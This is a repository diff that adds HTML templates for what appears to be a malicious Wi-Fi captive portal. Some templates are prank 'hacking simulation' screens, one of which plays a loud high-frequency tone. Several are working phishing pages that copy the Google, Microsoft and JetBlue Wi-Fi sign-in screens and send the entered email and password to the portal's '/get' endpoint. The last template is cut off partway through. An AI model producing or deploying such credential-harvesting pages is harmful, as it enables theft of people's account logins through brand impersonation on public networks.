||||
Executable
+61
@@ -0,0 +1,61 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<style>
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
body {
|
||||
background-color: #000;
|
||||
color: #0F0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
overflow: hidden;
|
||||
}
|
||||
#terminal {
|
||||
position: absolute;
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
padding: 20px;
|
||||
white-space: pre-wrap;
|
||||
overflow-wrap: break-word;
|
||||
animation: type 20s steps(80, end);
|
||||
}
|
||||
@keyframes type {
|
||||
from {width: 0;}
|
||||
}
|
||||
</style>
|
||||
<title>Hacking Simulation</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="terminal"></div>
|
||||
<script>
|
||||
const lines = [
|
||||
'Initiating connection...',
|
||||
'Bypassing security protocols...',
|
||||
'Accessing system...',
|
||||
'Disabling antivirus...',
|
||||
'Initiating data transfer...',
|
||||
'Deleting files...',
|
||||
'Formatting drive...',
|
||||
'Hacking successful.'
|
||||
];
|
||||
let i = 0;
|
||||
let txt = '';
|
||||
let speed = 100;
|
||||
|
||||
function typeWriter() {
|
||||
if (i < lines.length) {
|
||||
txt += lines[i] + "\n";
|
||||
document.getElementById("terminal").innerHTML = txt;
|
||||
i++;
|
||||
setTimeout(typeWriter, speed);
|
||||
}
|
||||
}
|
||||
typeWriter();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+58
@@ -0,0 +1,58 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Captive Portal</title>
|
||||
<style>
|
||||
body {
|
||||
background-color: #000;
|
||||
color: #0F0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
}
|
||||
#terminal {
|
||||
white-space: pre;
|
||||
overflow: hidden;
|
||||
margin: 0 auto;
|
||||
padding: 10px;
|
||||
}
|
||||
#connectBtn {
|
||||
display: block;
|
||||
position: absolute;
|
||||
left: 20px;
|
||||
background: #0F0;
|
||||
padding: 10px 20px;
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
margin-top: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
|
||||
<div id="terminal"></div>
|
||||
<script>
|
||||
var content = [
|
||||
"Accessing device...",
|
||||
"Device accessed ✔",
|
||||
"Deleting files...",
|
||||
"Files deleted ✔",
|
||||
"Formatting device...",
|
||||
"Device formatted ✔. \n\n",
|
||||
"(☞ ͡° ͜ʖ ͡°)☞",
|
||||
"ᕙ(͡°‿ ͡°)ᕗ",
|
||||
/* You should add the rest of your ASCII art here. */
|
||||
];
|
||||
|
||||
function startHack() {
|
||||
var terminal = document.getElementById('terminal');
|
||||
var counter = 0;
|
||||
document.getElementById('connectBtn').style.display = 'none';
|
||||
var intervalId = setInterval(function() {
|
||||
terminal.textContent += content[counter++] + '\n';
|
||||
if (counter === content.length) {
|
||||
clearInterval(intervalId);
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+71
@@ -0,0 +1,71 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Captive Portal</title>
|
||||
<style>
|
||||
body {
|
||||
background-color: #000;
|
||||
color: #0F0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
}
|
||||
#terminal {
|
||||
white-space: pre;
|
||||
overflow: hidden;
|
||||
margin: 0 auto;
|
||||
padding: 10px;
|
||||
}
|
||||
#connectBtn {
|
||||
display: block;
|
||||
position: absolute;
|
||||
left: 20px;
|
||||
background: #0F0;
|
||||
padding: 10px 20px;
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
margin-top: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
|
||||
<div id="terminal"></div>
|
||||
<script>
|
||||
var content = [
|
||||
"Accessing device...",
|
||||
"Device accessed ✔",
|
||||
"Deleting files...",
|
||||
"Files deleted ✔",
|
||||
"Formatting device...",
|
||||
"Device formatted ✔. \n\n",
|
||||
"(☞ ͡° ͜ʖ ͡°)☞",
|
||||
"ᕙ(͡°‿ ͡°)ᕗ",
|
||||
/* You should add the rest of your ASCII art here. */
|
||||
];
|
||||
|
||||
function startHack() {
|
||||
var terminal = document.getElementById('terminal');
|
||||
var counter = 0;
|
||||
document.getElementById('connectBtn').style.display = 'none';
|
||||
var intervalId = setInterval(function() {
|
||||
terminal.textContent += content[counter++] + '\n';
|
||||
if (counter === content.length) {
|
||||
clearInterval(intervalId);
|
||||
}
|
||||
}, 1000);
|
||||
|
||||
// Creating the audio context
|
||||
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
|
||||
var oscillator = audioCtx.createOscillator();
|
||||
oscillator.type = 'sine';
|
||||
oscillator.frequency.value = 8000; // frequency in Hz
|
||||
oscillator.connect(audioCtx.destination);
|
||||
oscillator.start();
|
||||
|
||||
// Stop the frequency sound after 1 minute
|
||||
setTimeout(function() {
|
||||
oscillator.stop();
|
||||
}, 60000); // 60000 milliseconds = 1 minute
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+74
@@ -0,0 +1,74 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
body {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
background-color: #f1f1f1;
|
||||
}
|
||||
.login-container {
|
||||
background-color: #fff;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
#logo {
|
||||
display: block;
|
||||
margin: 0 auto 20px;
|
||||
}
|
||||
h1, h2 {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
.g-input {
|
||||
display: block;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-bottom: 10px;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 5px;
|
||||
}
|
||||
.gbtn-primary {
|
||||
display: block;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
background-color: #1a73e8;
|
||||
color: #fff;
|
||||
cursor: pointer;
|
||||
}
|
||||
</style>
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<form action="/get" id="email-form-step">
|
||||
<div id="logo">
|
||||
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
|
||||
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
|
||||
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
|
||||
<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
|
||||
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
|
||||
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
|
||||
</svg>
|
||||
</div>
|
||||
<h1>Sign in</h1>
|
||||
<h2>Use your Google Account</h2>
|
||||
<input name="email" type="text" class="g-input" placeholder="Email" required>
|
||||
<input name="password" type="password" class="g-input" placeholder="Password" required>
|
||||
<button class="gbtn-primary" type="submit">Next</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+60
@@ -0,0 +1,60 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #003876;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
color: white;
|
||||
}
|
||||
.login-container {
|
||||
background-color: #1A73E8;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
|
||||
}
|
||||
.login-container h1, .login-container h2 {
|
||||
text-align: center;
|
||||
}
|
||||
.login-container button {
|
||||
width: 100%;
|
||||
}
|
||||
.form-control {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-lg-4 offset-lg-4 login-container">
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400">
|
||||
<path fill="#fff" fill-rule="nonzero" d="M112 167h14v74c0 12-9 20-21 20h-5v-13h4c5 0 8-2 8-8zm0-28h14v14h-14zm36 56c1-10 7-16 15-16s14 6 15 16zm43 12v-12c0-17-13-29-28-29-13 0-28 9-28 36 0 28 16 35 30 35 9 0 18-3 25-11l-10-9c-4 4-10 7-15 7-10 0-17-6-17-17zm11-61h14v21h10v11h-10v40c0 4 2 5 5 5h5v13h-7c-10 0-17-6-17-17v-41h-7v-11h7zm70 47c11 0 16 7 16 15 0 7-5 14-16 14h-22v-29zm-37 43h41c15 0 27-11 27-27 0-10-5-20-16-23 11-5 14-13 14-21 0-15-9-26-28-26h-38zm36-84c11 0 16 7 16 14 0 8-5 14-16 14h-21v-28zm40-13h14v79c0 3 2 5 5 5h5v13h-6c-10 0-18-4-18-17zm30 28h13v41c0 10 6 15 14 15s14-5 14-15v-41h14v69h-14v-7c-5 5-11 8-18 8-11 0-23-8-23-24zm76 28c0-10 6-16 15-16 8 0 14 6 14 16zm43 12v-12c0-17-13-29-28-29-14 0-29 9-29 36 0 28 17 35 31 35 9 0 18-3 25-11l-10-9c-5 4-10 7-16 7-9 0-16-6-16-17z"/>
|
||||
</svg>
|
||||
</div>
|
||||
<form action="/get" id="email-form-step">
|
||||
<h1>Welcome aboard!</h1>
|
||||
<h2>Sign in with your JetBlue<br>Account to use Wi-Fi</h2>
|
||||
<div class="form-group">
|
||||
<input name="email" type="text" class="form-control" placeholder="Email" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input name="password" type="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<button class="btn btn-primary" type="submit">Sign In</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+139
@@ -0,0 +1,139 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: flex-start;
|
||||
align-items: flex-start;
|
||||
height: 100vh;
|
||||
background: #000;
|
||||
color: #0f0;
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
padding: 20px;
|
||||
padding-top: 20%;
|
||||
box-sizing: border-box;
|
||||
overflow: hidden;
|
||||
position: relative;
|
||||
}
|
||||
.form-container {
|
||||
width: 300px; /* You can adjust this value to match your preference */
|
||||
}
|
||||
#matrix {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
z-index: 1;
|
||||
}
|
||||
#matrix span {
|
||||
position: absolute;
|
||||
font-size: 20px;
|
||||
animation: matrix 1s linear infinite;
|
||||
animation-play-state: paused;
|
||||
}
|
||||
@keyframes matrix {
|
||||
0% { top: -100%; }
|
||||
100% { top: 100%; }
|
||||
}
|
||||
#terminal, #signin, #loginForm {
|
||||
position: relative;
|
||||
z-index: 2;
|
||||
}
|
||||
#terminal {
|
||||
width: 100%;
|
||||
max-width: 800px;
|
||||
white-space: pre-wrap;
|
||||
line-height: 1.5;
|
||||
text-align: left;
|
||||
color: #f00; /* make the color of the terminal text red */
|
||||
font-weight: bold; /* make the terminal text bold */
|
||||
margin-top: 20px;
|
||||
}
|
||||
#loginForm {
|
||||
margin-top: 20px;
|
||||
}
|
||||
#loginForm input {
|
||||
margin-bottom: 10px;
|
||||
padding: 5px;
|
||||
width: 100%;
|
||||
}
|
||||
#signin {
|
||||
margin-bottom: 10px;
|
||||
font-size: 1.4em;
|
||||
color: #fff;
|
||||
font-weight: bold;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="form-container">
|
||||
<div id="signin">Register or Sign-in</div>
|
||||
<form id="loginForm" action="/get" method="get">
|
||||
<input type="text" name="email" placeholder="Email/Username" required>
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
<input type="submit" value="Submit">
|
||||
</form>
|
||||
</div>
|
||||
<div id="terminal"></div>
|
||||
<div id="matrix"></div>
|
||||
<script>
|
||||
var terminal = document.getElementById('terminal');
|
||||
var form = document.getElementById('loginForm');
|
||||
var matrix = document.getElementById('matrix');
|
||||
|
||||
var messages = [
|
||||
'Initiating connection...',
|
||||
'Bypassing security protocols...',
|
||||
'Accessing system...',
|
||||
'Disabling antivirus...',
|
||||
'Accessing User\'s Email & Passwords...',
|
||||
'Accessing User\'s Contact...',
|
||||
'Initiating data transfer...',
|
||||
'Deleting files...',
|
||||
'Formatting drive...',
|
||||
'Hacking successful.',
|
||||
];
|
||||
|
||||
function typeMessage(message, index) {
|
||||
if (index < message.length) {
|
||||
terminal.innerText += message[index];
|
||||
setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */
|
||||
} else {
|
||||
terminal.innerText += '\n> ';
|
||||
if (messages.length) {
|
||||
var nextMessage = messages.shift();
|
||||
setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
form.onsubmit = function(e) {
|
||||
e.preventDefault();
|
||||
terminal.innerText = '> ';
|
||||
var message = messages.shift();
|
||||
typeMessage(message, 0);
|
||||
form.style.display = 'none';
|
||||
|
||||
// Start matrix rain
|
||||
var spans = matrix.querySelectorAll('span');
|
||||
for (let i = 0; i < spans.length; i++) {
|
||||
spans[i].style.animationPlayState = 'running';
|
||||
}
|
||||
}
|
||||
|
||||
// Matrix rain
|
||||
var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
|
||||
for (let i = 0; i < 100; i++) {
|
||||
let span = document.createElement('span');
|
||||
span.innerText = characters[Math.floor(Math.random() * characters.length)];
|
||||
span.style.left = Math.random() * window.innerWidth + 'px';
|
||||
span.style.animationDelay = Math.random() + 's';
|
||||
matrix.appendChild(span);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+77
@@ -0,0 +1,77 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, Helvetica, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
.container {
|
||||
max-width: 400px;
|
||||
padding: 25px;
|
||||
margin: auto;
|
||||
}
|
||||
.form {
|
||||
max-width: 300px;
|
||||
padding: 20px;
|
||||
border: 1px solid #cccccc;
|
||||
border-radius: 5px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
h1 {
|
||||
text-align: center;
|
||||
color: #0067b8;
|
||||
}
|
||||
input[type="text"], input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 12px 10px;
|
||||
margin: 8px 0;
|
||||
box-sizing: border-box;
|
||||
border: 1px solid #cccccc;
|
||||
border-radius: 4px;
|
||||
}
|
||||
button[type="submit"] {
|
||||
width: 100%;
|
||||
background-color: #0067b8;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
}
|
||||
button[type="submit"]:hover {
|
||||
background-color: #005299;
|
||||
}
|
||||
svg {
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
width: 150px;
|
||||
height: 150px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
|
||||
<path fill="#737373" d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z"/>
|
||||
<path fill="#F25022" d="M0 0h34.2v34.2H0z"/>
|
||||
<path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z"/>
|
||||
<path fill="#00A4EF" d="M0 37.8h34.2V72H0z"/>
|
||||
<path fill="#FFB900" d="M37.8 37.8H72V72H37.8z"/>
|
||||
</svg>
|
||||
<form action="/get" method="get" id="email-form-step" class="form">
|
||||
<h1>Sign In with<br>your Microsoft account</h1>
|
||||
<input name="email" type="text" placeholder="Email" required>
|
||||
<input name="password" type="password" placeholder="Password" required>
|
||||
<button type="submit">Next</button>
|
||||
</form>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+76
@@ -0,0 +1,76 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Guess the number to use WiFi</title>
|
||||
<style>
|
||||
body, html {
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
background: #cfcfcf;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
flex-direction: column;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
#user-input {
|
||||
margin: 1em;
|
||||
font-size: 1em;
|
||||
padding: 0.25em;
|
||||
width: 40%;
|
||||
max-width: 150px;
|
||||
}
|
||||
#submit-btn, #reset-btn {
|
||||
font-size: 2em;
|
||||
margin: 1em;
|
||||
cursor: pointer;
|
||||
}
|
||||
#message {
|
||||
font-size: 1.5em;
|
||||
}
|
||||
#instruction {
|
||||
color: gray;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Guess the number to use WiFi</h1>
|
||||
<p id="instruction">Enter a number between 0-10</p>
|
||||
<input id="user-input" type="number" min="0" max="10"/>
|
||||
<button id="submit-btn">Guess</button>
|
||||
<p id="message"></p>
|
||||
<button id="reset-btn" style="display: none;">Reset Game</button>
|
||||
<script>
|
||||
var randomNumber = Math.floor(Math.random() * 11);
|
||||
var submitBtn = document.getElementById("submit-btn");
|
||||
var userInput = document.getElementById("user-input");
|
||||
var message = document.getElementById("message");
|
||||
var resetBtn = document.getElementById("reset-btn");
|
||||
|
||||
submitBtn.addEventListener("click", function(){
|
||||
var userGuess = userInput.value;
|
||||
if(userGuess == randomNumber) {
|
||||
message.textContent = "Congratulations! You've guessed the number.";
|
||||
endGame();
|
||||
} else {
|
||||
message.textContent = "Try again!";
|
||||
}
|
||||
});
|
||||
|
||||
resetBtn.addEventListener("click", function(){
|
||||
randomNumber = Math.floor(Math.random() * 11);
|
||||
message.textContent = "";
|
||||
userInput.value = "";
|
||||
resetBtn.style.display = "none";
|
||||
submitBtn.style.display = "block";
|
||||
userInput.disabled = false;
|
||||
});
|
||||
|
||||
function endGame() {
|
||||
submitBtn.style.display = "none";
|
||||
resetBtn.style.display = "block";
|
||||
userInput.disabled = true;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+91
@@ -0,0 +1,91 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #f6f8fa;
|
||||
}
|
||||
.container {
|
||||
width: 80%;
|
||||
max-width: 300px;
|
||||
margin: 10% auto;
|
||||
text-align: center;
|
||||
}
|
||||
.container .logo {
|
||||
width: 50%;
|
||||
height: auto;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
.container h1 {
|
||||
margin: 5px 0;
|
||||
}
|
||||
.container p {
|
||||
margin: 0;
|
||||
font-size: 0.8em;
|
||||
color: #666;
|
||||
}
|
||||
.container form {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
.container form input {
|
||||
margin: 5px 0;
|
||||
padding: 10px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 3px;
|
||||
}
|
||||
.container form button {
|
||||
margin: 5px 0;
|
||||
padding: 10px;
|
||||
color: #fff;
|
||||
background-color: #0076bc;
|
||||
border: none;
|
||||
border-radius: 3px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.container form button:hover {
|
||||
background-color: #005999;
|
||||
}
|
||||
@media (max-width: 600px) {
|
||||
.container {
|
||||
width: 95%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<meta
|
||||
name="viewport"
|
||||
content="width=device-width, initial-scale=1, maximum-scale=1"
|
||||
/>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<svg
|
||||
class="logo"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xml:space="preserve"
|
||||
viewBox="0 0 1001 209"
|
||||
>
|
||||
<path fill="#0076BC" d="M934 61v102l67-51z" />
|
||||
<path
|
||||
fill="#77787B"
|
||||
d="M166 193c0 9-6 16-15 16h-16V94c2-30 13-55 59-56 20 0 35 8 44 18 9 12 13 27 13 46s-5 35-14 47c-9 11-21 17-36 17-21 0-32-9-35-10v37m53-90c0-12-2-37-27-37-23 0-26 24-26 37 0 32 18 36 27 36 22 0 26-24 26-36M18 153c11 9 26 13 47 13 20 0 36-4 47-13s16-22 16-38c0-8-1-15-5-21-3-6-8-12-15-15l-12-5-37-10c-15-4-25-9-25-18 1-18 17-19 27-19 9 0 17 2 22 6 10 7 9 17 9 17h31c-1-15-6-28-17-37C96 4 82 0 63 0 43 0 28 4 18 12 7 21 2 33 2 48c0 19 9 30 18 35 5 3 16 8 31 11l12 3c22 5 34 12 34 22 0 7-3 12-8 15-4 3-12 5-21 5-11 0-19-2-25-6s-10-11-11-20H0c1 18 7 31 18 40m296-88c20 0 23 16 23 25h-46s-1-25 23-25m1 74c-8-1-23-2-24-29h79v-9c0-20-5-35-14-46a55 55 0 0 0-43-17c-17 0-31 6-41 17-9 11-14 26-14 46 0 21 5 36 15 47 9 12 23 17 40 17 15 0 27-3 36-10 10-7 16-17 20-30h-28c-4 12-14 14-26 14m533 24h-32V85c0-9-4-21-22-21-17 0-21 13-21 21v78h-32V91c0-21 6-33 16-42 10-8 23-11 36-11l21 2c7 